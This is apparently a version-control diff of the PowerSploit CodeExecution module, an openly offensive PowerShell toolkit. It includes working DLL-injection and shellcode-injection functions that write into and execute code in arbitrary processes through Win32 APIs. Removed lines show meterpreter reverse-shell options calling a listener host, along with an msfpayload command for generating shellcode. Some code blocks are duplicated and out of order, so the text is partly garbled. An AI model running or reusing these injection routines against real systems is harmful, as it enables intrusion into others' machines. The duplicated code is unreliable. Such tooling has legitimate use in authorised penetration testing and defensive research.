if ($StartByte -gt ($FileSize - 1) -or $StartByte -lt 0) {Throw "StartByte range must be between 0 and $Filesize"}
[Int32] $MaximumByte = (($FileSize) - 1)
if ($EndByte -ceq "max") {$EndByte = $MaximumByte}
#Recast $Endbyte into an Integer so that it can be compared properly.
[Int32]$EndByte = $EndByte
#If $Endbyte is greater than the file Length, use $MaximumByte.
if ($EndByte -gt $FileSize) {$EndByte = $MaximumByte}
#If $Endbyte is less than the $StartByte, use 1 Interval past $StartByte.
if ($EndByte -lt $StartByte) {$EndByte = $StartByte + $Interval}
Write-Verbose "StartByte: $StartByte"
Write-Verbose "EndByte: $EndByte"
#Recast $Endbyte into an Integer so that it can be compared properly.
[Int32]$EndByte = $EndByte
#If $Endbyte is greater than the file Length, use $MaximumByte.
if ($EndByte -gt $FileSize) {$EndByte = $MaximumByte}
#If $Endbyte is less than the $StartByte, use 1 Interval past $StartByte.
if ($EndByte -lt $StartByte) {$EndByte = $StartByte + $Interval}
Write-Verbose "StartByte: $StartByte"
Write-Verbose "EndByte: $EndByte"
#find the filename for the output name
[String] $FileName = (Split-Path $Path -leaf).Split('.')[0]
#Calculate the number of binaries
[Int32] $ResultNumber = [Math]::Floor(($EndByte - $StartByte) / $Interval)
if (((($EndByte - $StartByte) % $Interval)) -gt 0) {$ResultNumber = ($ResultNumber + 1)}
#Prompt user to verify parameters to avoid writing binaries to the wrong directory
$Response = $True
if ( $Force -or ( $Response = $psCmdlet.ShouldContinue("This script will result in $ResultNumber binaries being written to `"$OutPath`"!",
"Do you want to continue?"))){}
if (!$Response) {Return}
Write-Verbose "This script will now write $ResultNumber binaries to `"$OutPath`"."
Write-Verbose "This script will now write $ResultNumber binaries to `"$OutPath`"."
[Int32] $Number = [Math]::Floor($Endbyte/$Interval)
#Create a Read Buffer and Stream.
#Note: The Filestream class takes advantage of internal .NET Buffering. We set the default internal buffer to 64KB per http://research.microsoft.com/pubs/64538/tr-2004-136.doc.
[Byte[]] $ReadBuffer=New-Object byte[] $BufferLen
[System.IO.FileStream] $ReadStream = New-Object System.IO.FileStream($Path, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::Read, $BufferLen)
#write out the calculated number of binaries
[Int32] $i = 0
for ($i -eq 0; $i -lt $ResultNumber + 1 ; $i++)
{
# If this is the Final Binary, use $EndBytes, Otherwise calculate based on the Interval
if ($i -eq $ResultNumber) {[Int32]$SplitByte = $EndByte}
else {[Int32] $SplitByte = (($StartByte) + (($Interval) * ($i)))}
Write-Verbose "Byte 0 -> $($SplitByte)"
#Reset ReadStream to beginning of file
$ReadStream.Seek(0, [System.IO.SeekOrigin]::Begin) | Out-Null
#Build a new FileStream for Writing
[String] $outfile = Join-Path $OutPath "$($FileName)_$($SplitByte).bin"
[System.IO.FileStream] $WriteStream = New-Object System.IO.FileStream($outfile, [System.IO.FileMode]::Create, [System.IO.FileAccess]::Write, [System.IO.FileShare]::None, $BufferLen)
[Int32] $BytesLeft = $SplitByte
Write-Verbose "$($WriteStream.name)"
#Write Buffer Length to the Writing Stream until the bytes left is smaller than the buffer
while ($BytesLeft -gt $BufferLen){
[Int32]$count = $ReadStream.Read($ReadBuffer, 0, $BufferLen)
$WriteStream.Write($ReadBuffer, 0, $count)
$BytesLeft = $BytesLeft - $count
}
#Write the remaining bytes to the file
do {
[Int32]$count = $ReadStream.Read($ReadBuffer, 0, $BytesLeft)
$WriteStream.Write($ReadBuffer, 0, $count)
$BytesLeft = $BytesLeft - $count
}
until ($BytesLeft -eq 0)
$WriteStream.Close()
$WriteStream.Dispose()
#Create a Read Buffer and Stream.
#Note: The Filestream class takes advantage of internal .NET Buffering. We set the default internal buffer to 64KB per http://research.microsoft.com/pubs/64538/tr-2004-136.doc.
[Byte[]] $ReadBuffer=New-Object byte[] $BufferLen
[System.IO.FileStream] $ReadStream = New-Object System.IO.FileStream($Path, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::Read, $BufferLen)
#write out the calculated number of binaries
[Int32] $i = 0
for ($i -eq 0; $i -lt $ResultNumber + 1 ; $i++)
{
# If this is the Final Binary, use $EndBytes, Otherwise calculate based on the Interval
if ($i -eq $ResultNumber) {[Int32]$SplitByte = $EndByte}
else {[Int32] $SplitByte = (($StartByte) + (($Interval) * ($i)))}
Write-Verbose "Byte 0 -> $($SplitByte)"
#Reset ReadStream to beginning of file
$ReadStream.Seek(0, [System.IO.SeekOrigin]::Begin) | Out-Null
#Build a new FileStream for Writing
[String] $outfile = Join-Path $OutPath "$($FileName)_$($SplitByte).bin"
[System.IO.FileStream] $WriteStream = New-Object System.IO.FileStream($outfile, [System.IO.FileMode]::Create, [System.IO.FileAccess]::Write, [System.IO.FileShare]::None, $BufferLen)
[Int32] $BytesLeft = $SplitByte
Write-Verbose "$($WriteStream.name)"
#Write Buffer Length to the Writing Stream until the bytes left is smaller than the buffer
while ($BytesLeft -gt $BufferLen){
[Int32]$count = $ReadStream.Read($ReadBuffer, 0, $BufferLen)
$WriteStream.Write($ReadBuffer, 0, $count)
$BytesLeft = $BytesLeft - $count
}
Write-Verbose "Files written to disk. Flushing memory."
$ReadStream.Dispose()
#During testing using large binaries, memory usage was excessive so lets fix that
[System.GC]::Collect()
Write-Verbose "Completed!"
}
#Write the remaining bytes to the file
do {
[Int32]$count = $ReadStream.Read($ReadBuffer, 0, $BytesLeft)
$WriteStream.Write($ReadBuffer, 0, $count)
$BytesLeft = $BytesLeft - $count
}
until ($BytesLeft -eq 0)
$WriteStream.Close()
$WriteStream.Dispose()
}
Write-Verbose "Files written to disk. Flushing memory."
$ReadStream.Dispose()
#During testing using large binaries, memory usage was excessive so lets fix that
[System.GC]::Collect()
Write-Verbose "Completed!"
}
+4 -59
View File
@@ -1,10 +1,10 @@
@{
@{
# Script module or binary module file associated with this manifest.
ModuleToProcess = 'CodeExecution.psm1'
# Version number of this module.
ModuleVersion = '1.0.0.0'
ModuleVersion = '3.0.0.0'
# ID used to uniquely identify this module
GUID = 'a8a6780b-e694-4aa4-b28d-646afa66733c'
@@ -24,65 +24,10 @@ Description = 'PowerSploit Code Execution Module'
# Minimum version of the Windows PowerShell engine required by this module
PowerShellVersion = '2.0'
# Name of the Windows PowerShell host required by this module
# PowerShellHostName = ''
# Minimum version of the Windows PowerShell host required by this module
# PowerShellHostVersion = ''
# Minimum version of the .NET Framework required by this module
# DotNetFrameworkVersion = ''
# Minimum version of the common language runtime (CLR) required by this module
# CLRVersion = ''
# Processor architecture (None, X86, Amd64) required by this module
# ProcessorArchitecture = ''
# Modules that must be imported into the global environment prior to importing this module
# RequiredModules = @()
# Assemblies that must be loaded prior to importing this module
# RequiredAssemblies = @()
# Script files (.ps1) that are run in the caller's environment prior to importing this module.
# ScriptsToProcess = ''
# Type files (.ps1xml) to be loaded when importing this module
# TypesToProcess = @()
# Format files (.ps1xml) to be loaded when importing this module
# FormatsToProcess = @()
# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess
# NestedModules = @()
# Functions to export from this module
FunctionsToExport = '*'
# Cmdlets to export from this module
CmdletsToExport = '*'
# Variables to export from this module
VariablesToExport = ''
# Aliases to export from this module
AliasesToExport = ''
# List of all modules packaged with this module.
ModuleList = @(@{ModuleName = 'CodeExecution'; ModuleVersion = '1.0.0.0'; GUID = 'a8a6780b-e694-4aa4-b28d-646afa66733c'})
# List of all files packaged with this module
FileList = 'CodeExecution.psm1', 'CodeExecution.psd1', 'Invoke-Shellcode.ps1', 'Invoke-DllInjection.ps1',
'Invoke-ShellcodeMSIL.ps1', 'Invoke-ReflectivePEInjection.ps1', 'Watch-BlueScreen.ps1', 'Usage.md'
# Private data to pass to the module specified in RootModule/ModuleToProcess
# PrivateData = ''
# HelpInfo URI of this module
# HelpInfoURI = ''
# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix.
# DefaultCommandPrefix = ''
}
'Invoke-ReflectivePEInjection.ps1', 'Invoke-WmiCommand.ps1', 'Usage.md'
}
+1 -1
View File
@@ -1 +1 @@
Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName}
Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName}
+59 -51
View File
@@ -5,15 +5,19 @@ function Invoke-DllInjection
Injects a Dll into the process ID of your choosing.
PowerSploit Function: Invoke-DllInjection
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
PowerSploit Function: Invoke-DllInjection
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Invoke-DllInjection injects a Dll into an arbitrary process.
It does this by using VirtualAllocEx to allocate memory the size of the
DLL in the remote process, writing the names of the DLL to load into the
remote process spacing using WriteProcessMemory, and then using RtlCreateUserThread
to invoke LoadLibraryA in the context of the remote process.
.PARAMETER ProcessID
@@ -25,7 +29,7 @@ Name of the dll to inject. This can be an absolute or relative path.
.EXAMPLE
C:\PS> Invoke-DllInjection -ProcessID 4274 -Dll evil.dll
Invoke-DllInjection -ProcessID 4274 -Dll evil.dll
Description
-----------
@@ -40,6 +44,8 @@ Use the '-Verbose' option to print detailed information.
http://www.exploit-monday.com
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param (
[Parameter( Position = 0, Mandatory = $True )]
[Int]
@@ -59,7 +65,7 @@ http://www.exploit-monday.com
{
Throw "Process does not exist!"
}
# Confirm that the path to the dll exists
try
{
@@ -79,11 +85,11 @@ http://www.exploit-monday.com
Param
(
[OutputType([Type])]
[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),
[Parameter( Position = 1 )]
[Type]
$ReturnType = [Void]
@@ -98,7 +104,7 @@ http://www.exploit-monday.com
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
Write-Output $TypeBuilder.CreateType()
}
@@ -107,11 +113,11 @@ http://www.exploit-monday.com
Param
(
[OutputType([IntPtr])]
[Parameter( Position = 0, Mandatory = $True )]
[String]
$Module,
[Parameter( Position = 1, Mandatory = $True )]
[String]
$Procedure
@@ -128,7 +134,7 @@ http://www.exploit-monday.com
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
# Return the address of the function
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
@@ -142,43 +148,43 @@ http://www.exploit-monday.com
[String]
$Path
)
# Parse PE header to see if binary was compiled 32 or 64-bit
$FileStream = New-Object System.IO.FileStream($Path, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read)
[Byte[]] $MZHeader = New-Object Byte[](2)
$FileStream.Read($MZHeader,0,2) | Out-Null
$Header = [System.Text.AsciiEncoding]::ASCII.GetString($MZHeader)
if ($Header -ne 'MZ')
{
$FileStream.Close()
Throw 'Invalid PE header.'
}
# Seek to 0x3c - IMAGE_DOS_HEADER.e_lfanew (i.e. Offset to PE Header)
$FileStream.Seek(0x3c, [System.IO.SeekOrigin]::Begin) | Out-Null
[Byte[]] $lfanew = New-Object Byte[](4)
# Read offset to the PE Header (will be read in reverse)
$FileStream.Read($lfanew,0,4) | Out-Null
$PEOffset = [Int] ('0x{0}' -f (( $lfanew[-1..-4] | % { $_.ToString('X2') } ) -join ''))
$PEOffset = [Int] ('0x{0}' -f (( $lfanew[-1..-4] | ForEach-Object { $_.ToString('X2') } ) -join ''))
# Seek to IMAGE_FILE_HEADER.IMAGE_FILE_MACHINE
$FileStream.Seek($PEOffset + 4, [System.IO.SeekOrigin]::Begin) | Out-Null
[Byte[]] $IMAGE_FILE_MACHINE = New-Object Byte[](2)
# Read compiled architecture
$FileStream.Read($IMAGE_FILE_MACHINE,0,2) | Out-Null
$Architecture = '{0}' -f (( $IMAGE_FILE_MACHINE[-1..-2] | % { $_.ToString('X2') } ) -join '')
$Architecture = '{0}' -f (( $IMAGE_FILE_MACHINE[-1..-2] | ForEach-Object { $_.ToString('X2') } ) -join '')
$FileStream.Close()
if (($Architecture -ne '014C') -and ($Architecture -ne '8664'))
{
Throw 'Invalid PE header or unsupported architecture.'
}
if ($Architecture -eq '014C')
{
Write-Output 'X86'
@@ -193,7 +199,7 @@ http://www.exploit-monday.com
}
}
# Get addresses of and declare delegates for essential Win32 functions.
$OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
$OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
@@ -207,16 +213,13 @@ http://www.exploit-monday.com
$WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
$WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool])
$WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
$CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
$CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
$CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
$RtlCreateUserThreadAddr = Get-ProcAddress ntdll.dll RtlCreateUserThread
$RtlCreateUserThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Bool], [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([UInt32])
$RtlCreateUserThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RtlCreateUserThreadAddr, $RtlCreateUserThreadDelegate)
$CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle
$CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool])
$CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate)
# Assume CPU to be 64-bit unless determined otherwise.
$64bitCPU = $True
# Determine the bitness of the running PowerShell process based upon the size of the IntPtr type.
if ([IntPtr]::Size -eq 4)
{
@@ -227,6 +230,12 @@ http://www.exploit-monday.com
$PowerShell32bit = $False
}
if (${Env:ProgramFiles(x86)}) {
$64bitOS = $True
} else {
$64bitOS = $False
}
# The address for IsWow64Process will be returned if and only if running on a 64-bit CPU. Otherwise, Get-ProcAddress will return $null.
$IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process
@@ -235,23 +244,20 @@ http://www.exploit-monday.com
$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
$IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
}
else
{
# IsWow64Process does not exist and thus, the CPU is not 64-bit.
$64bitCPU = $False
}
$Architecture = Get-PEArchitecture $Dll
Write-Verbose "Architecture of the dll to be injected: $Architecture"
# Open a handle to the process you want to inject into
$hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF)
if (!$hProcess)
{
THrow 'Unable to open process handle.'
Throw 'Unable to open process handle.'
}
$Architecture = Get-PEArchitecture $Dll
if ($64bitCPU) # Only perform theses checks if CPU is 64-bit
if ($64bitOS) # Only perform theses checks if OS is 64-bit
{
if ( ($Architecture -ne 'X86') -and ($Architecture -ne 'X64') )
{
@@ -293,7 +299,7 @@ http://www.exploit-monday.com
$RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Dll.Length, 0x3000, 4) # (0x3000 = Reserve|Commit, 4 = RW)
if ($RemoteMemAddr -eq [IntPtr]::Zero)
{
Throw 'Unable to allocate memory in remote process.'
Throw 'Unable to allocate memory in remote process. Try running PowerShell elevated.'
}
Write-Verbose "DLL path memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))"
@@ -302,27 +308,29 @@ http://www.exploit-monday.com
Write-Verbose "Dll path written sucessfully."
# Execute dll as a remote thread
$ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $LoadLibraryAddr, $RemoteMemAddr, 0, [IntPtr]::Zero)
if (!$ThreadHandle)
$Result = $RtlCreateUserThread.Invoke($hProcess, [IntPtr]::Zero, $False, 0, [IntPtr]::Zero, [IntPtr]::Zero, $LoadLibraryAddr, $RemoteMemAddr, [IntPtr]::Zero, [IntPtr]::Zero)
if ($Result)
{
Throw 'Unable to launch remote thread.'
Throw "Unable to launch remote thread. NTSTATUS: 0x$($Result.ToString('X8'))"
}
$VirtualFreeEx.Invoke($hProcess, $RemoteMemAddr, $Dll.Length, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
# Close process handle
$CloseHandle.Invoke($hProcess) | Out-Null
Write-Verbose 'Dll injection complete!'
Start-Sleep -Seconds 2
# Extract just the filename from the provided path to the dll.
$FileName = Split-Path $Dll -Leaf
$DllInfo = (Get-Process -Id $ProcessID).Modules | ? { $_.FileName.Contains($FileName) } | fl * | Out-String
$FileName = (Split-Path $Dll -Leaf).ToLower()
$DllInfo = (Get-Process -Id $ProcessID).Modules | Where-Object { $_.FileName.ToLower().Contains($FileName) }
if (!$DllInfo)
{
Throw "Dll did dot inject properly into the victim process."
}
Write-Verbose "Injected DLL information:$($DllInfo)"
}
Write-Verbose 'Dll injection complete!'
$DllInfo
}
File diff suppressed because it is too large Load Diff
+93 -288
View File
@@ -5,22 +5,22 @@ function Invoke-Shellcode
Inject shellcode into the process ID of your choosing or within the context of the running PowerShell process.
PowerSploit Function: Invoke-Shellcode
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
PowerSploit Function: Invoke-Shellcode
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Portions of this project was based upon syringe.c v1.2 written by Spencer McIntyre
PowerShell expects shellcode to be in the form 0xXX,0xXX,0xXX. To generate your shellcode in this form, you can use this command from within Backtrack (Thanks, Matt and g0tm1lk):
msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2-
msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2-
Make sure to specify 'thread' for your exit process. Also, don't bother encoding your shellcode. It's entirely unnecessary.
.PARAMETER ProcessID
Process ID of the process you want to inject shellcode into.
@@ -29,33 +29,13 @@ Process ID of the process you want to inject shellcode into.
Specifies an optional shellcode passed in as a byte array
.PARAMETER ListMetasploitPayloads
Lists all of the available Metasploit payloads that Invoke-Shellcode supports
.PARAMETER Lhost
Specifies the IP address of the attack machine waiting to receive the reverse shell
.PARAMETER Lport
Specifies the port of the attack machine waiting to receive the reverse shell
.PARAMETER Payload
Specifies the metasploit payload to use. Currently, only 'windows/meterpreter/reverse_http' and 'windows/meterpreter/reverse_https' payloads are supported.
.PARAMETER UserAgent
Optionally specifies the user agent to use when using meterpreter http or https payloads
.PARAMETER Force
Injects shellcode without prompting for confirmation. By default, Invoke-Shellcode prompts for confirmation before performing any malicious act.
.EXAMPLE
C:\PS> Invoke-Shellcode -ProcessId 4274
Invoke-Shellcode -ProcessId 4274
Description
-----------
@@ -63,7 +43,7 @@ Inject shellcode into process ID 4274.
.EXAMPLE
C:\PS> Invoke-Shellcode
Invoke-Shellcode
Description
-----------
@@ -71,135 +51,34 @@ Inject shellcode into the running instance of PowerShell.
.EXAMPLE
C:\PS> Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden
C:\PS> $Proc = Get-Process notepad
C:\PS> Invoke-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 443 -Verbose
Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3)
VERBOSE: Requesting meterpreter payload from https://192.168.30.129:443/INITM
VERBOSE: Injecting shellcode into PID: 4004
VERBOSE: Injecting into a Wow64 process.
VERBOSE: Using 32-bit shellcode.
VERBOSE: Shellcode memory reserved at 0x03BE0000
VERBOSE: Emitting 32-bit assembly call stub.
VERBOSE: Thread call stub memory reserved at 0x001B0000
VERBOSE: Shellcode injection complete!
Description
-----------
Establishes a reverse https meterpreter payload from within the hidden notepad process. A multi-handler was set up with the following options:
Payload options (windows/meterpreter/reverse_https):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process, none
LHOST 192.168.30.129 yes The local listener hostname
LPORT 443 yes The local listener port
.EXAMPLE
C:\PS> Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 80
Description
-----------
Establishes a reverse http meterpreter payload from within the running PwerShell process. A multi-handler was set up with the following options:
Payload options (windows/meterpreter/reverse_http):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process, none
LHOST 192.168.30.129 yes The local listener hostname
LPORT 80 yes The local listener port
.EXAMPLE
C:\PS> Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3)
Description
-----------
Overrides the shellcode included in the script with custom shellcode - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET)
Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit!
.EXAMPLE
C:\PS> Invoke-Shellcode -ListMetasploitPayloads
Payloads
--------
windows/meterpreter/reverse_http
windows/meterpreter/reverse_https
.NOTES
Use the '-Verbose' option to print detailed information.
Place your generated shellcode in $Shellcode32 and $Shellcode64 variables or pass it in as a byte array via the '-Shellcode' parameter
Big thanks to Oisin (x0n) Grehan (@oising) for answering all my obscure questions at the drop of a hat - http://www.nivot.org/
.LINK
http://www.exploit-monday.com
#>
[CmdletBinding( DefaultParameterSetName = 'RunLocal', SupportsShouldProcess = $True , ConfirmImpact = 'High')] Param (
[ValidateNotNullOrEmpty()]
[UInt16]
$ProcessID,
[Parameter( ParameterSetName = 'RunLocal' )]
[ValidateNotNullOrEmpty()]
[Byte[]]
$Shellcode,
[Parameter( ParameterSetName = 'Metasploit' )]
[ValidateSet( 'windows/meterpreter/reverse_http',
'windows/meterpreter/reverse_https',
IgnoreCase = $True )]
[String]
$Payload = 'windows/meterpreter/reverse_http',
[Parameter( ParameterSetName = 'ListPayloads' )]
[Switch]
$ListMetasploitPayloads,
[Parameter( Mandatory = $True,
ParameterSetName = 'Metasploit' )]
[ValidateNotNullOrEmpty()]
[String]
$Lhost = '127.0.0.1',
[Parameter( Mandatory = $True,
ParameterSetName = 'Metasploit' )]
[ValidateRange( 1,65535 )]
[Int]
$Lport = 8443,
[Parameter( ParameterSetName = 'Metasploit' )]
[ValidateNotNull()]
[String]
$UserAgent = 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
[Switch]
$Force = $False
)
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseApprovedVerbs', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[CmdletBinding( DefaultParameterSetName = 'RunLocal', ConfirmImpact = 'High')]
Param (
[ValidateNotNullOrEmpty()]
[UInt16]
$ProcessID,
[Parameter( ParameterSetName = 'RunLocal' )]
[ValidateNotNullOrEmpty()]
[Byte[]]
$Shellcode,
[Switch]
$Force = $False
)
Set-StrictMode -Version 2.0
# List all available Metasploit payloads and exit the function
if ($PsCmdlet.ParameterSetName -eq 'ListPayloads')
{
$AvailablePayloads = (Get-Command Invoke-Shellcode).Parameters['Payload'].Attributes |
Where-Object {$_.TypeId -eq [System.Management.Automation.ValidateSetAttribute]}
foreach ($Payload in $AvailablePayloads.ValidValues)
{
New-Object PSObject -Property @{ Payloads = $Payload }
}
Return
}
if ( $PSBoundParameters['ProcessID'] )
{
@@ -207,17 +86,17 @@ http://www.exploit-monday.com
# This could have been validated via 'ValidateScript' but the error generated with Get-Process is more descriptive
Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null
}
function Local:Get-DelegateType
{
Param
(
[OutputType([Type])]
[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),
[Parameter( Position = 1 )]
[Type]
$ReturnType = [Void]
@@ -232,7 +111,7 @@ http://www.exploit-monday.com
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
Write-Output $TypeBuilder.CreateType()
}
@@ -241,11 +120,11 @@ http://www.exploit-monday.com
Param
(
[OutputType([IntPtr])]
[Parameter( Position = 0, Mandatory = $True )]
[String]
$Module,
[Parameter( Position = 1, Mandatory = $True )]
[String]
$Procedure
@@ -262,7 +141,7 @@ http://www.exploit-monday.com
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
# Return the address of the function
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
@@ -277,12 +156,12 @@ http://www.exploit-monday.com
$LittleEndianByteArray = New-Object Byte[](0)
$Address.ToString("X$($IntSizePtr*2)") -split '([A-F0-9]{2})' | ForEach-Object { if ($_) { $LittleEndianByteArray += [Byte] ('0x{0}' -f $_) } }
[System.Array]::Reverse($LittleEndianByteArray)
Write-Output $LittleEndianByteArray
}
$CallStub = New-Object Byte[](0)
if ($IntSizePtr -eq 8)
{
[Byte[]] $CallStub = 0x48,0xB8 # MOV QWORD RAX, &shellcode
@@ -303,7 +182,7 @@ http://www.exploit-monday.com
$CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread
$CallStub += 0xFF,0xD0 # CALL EAX
}
Write-Output $CallStub
}
@@ -311,7 +190,7 @@ http://www.exploit-monday.com
{
# Open a handle to the process you want to inject into
$hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF)
if (!$hProcess)
{
Throw "Unable to open a process handle for PID: $ProcessID"
@@ -319,14 +198,14 @@ http://www.exploit-monday.com
$IsWow64 = $false
if ($64bitCPU) # Only perform theses checks if CPU is 64-bit
if ($64bitOS) # Only perform theses checks if CPU is 64-bit
{
# Determine is the process specified is 32 or 64 bit
# Determine if the process specified is 32 or 64 bit
$IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null
if ((!$IsWow64) -and $PowerShell32bit)
{
Throw 'Unable to inject 64-bit shellcode from within 32-bit Powershell. Use the 64-bit version of Powershell if you want this to work.'
Throw 'Shellcode injection targeting a 64-bit process from 32-bit PowerShell is not supported. Use the 64-bit version of Powershell if you want this to work.'
}
elseif ($IsWow64) # 32-bit Wow64 process
{
@@ -334,7 +213,7 @@ http://www.exploit-monday.com
{
Throw 'No shellcode was placed in the $Shellcode32 variable!'
}
$Shellcode = $Shellcode32
Write-Verbose 'Injecting into a Wow64 process.'
Write-Verbose 'Using 32-bit shellcode.'
@@ -345,7 +224,7 @@ http://www.exploit-monday.com
{
Throw 'No shellcode was placed in the $Shellcode64 variable!'
}
$Shellcode = $Shellcode64
Write-Verbose 'Using 64-bit shellcode.'
}
@@ -356,19 +235,19 @@ http://www.exploit-monday.com
{
Throw 'No shellcode was placed in the $Shellcode32 variable!'
}
$Shellcode = $Shellcode32
Write-Verbose 'Using 32-bit shellcode.'
}
# Reserve and commit enough memory in remote process to hold the shellcode
$RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$RemoteMemAddr)
{
Throw "Unable to allocate shellcode memory in PID: $ProcessID"
}
Write-Verbose "Shellcode memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))"
# Copy shellcode into the previously allocated memory
@@ -381,25 +260,25 @@ http://www.exploit-monday.com
{
# Build 32-bit inline assembly stub to call the shellcode upon creation of a remote thread.
$CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 32
Write-Verbose 'Emitting 32-bit assembly call stub.'
}
else
{
# Build 64-bit inline assembly stub to call the shellcode upon creation of a remote thread.
$CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 64
Write-Verbose 'Emitting 64-bit assembly call stub.'
}
# Allocate inline assembly stub
$RemoteStubAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $CallStub.Length, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$RemoteStubAddr)
{
Throw "Unable to allocate thread call stub memory in PID: $ProcessID"
}
Write-Verbose "Thread call stub memory reserved at 0x$($RemoteStubAddr.ToString("X$([IntPtr]::Size*2)"))"
# Write 32-bit assembly stub to remote process memory space
@@ -407,7 +286,7 @@ http://www.exploit-monday.com
# Execute shellcode as a remote thread
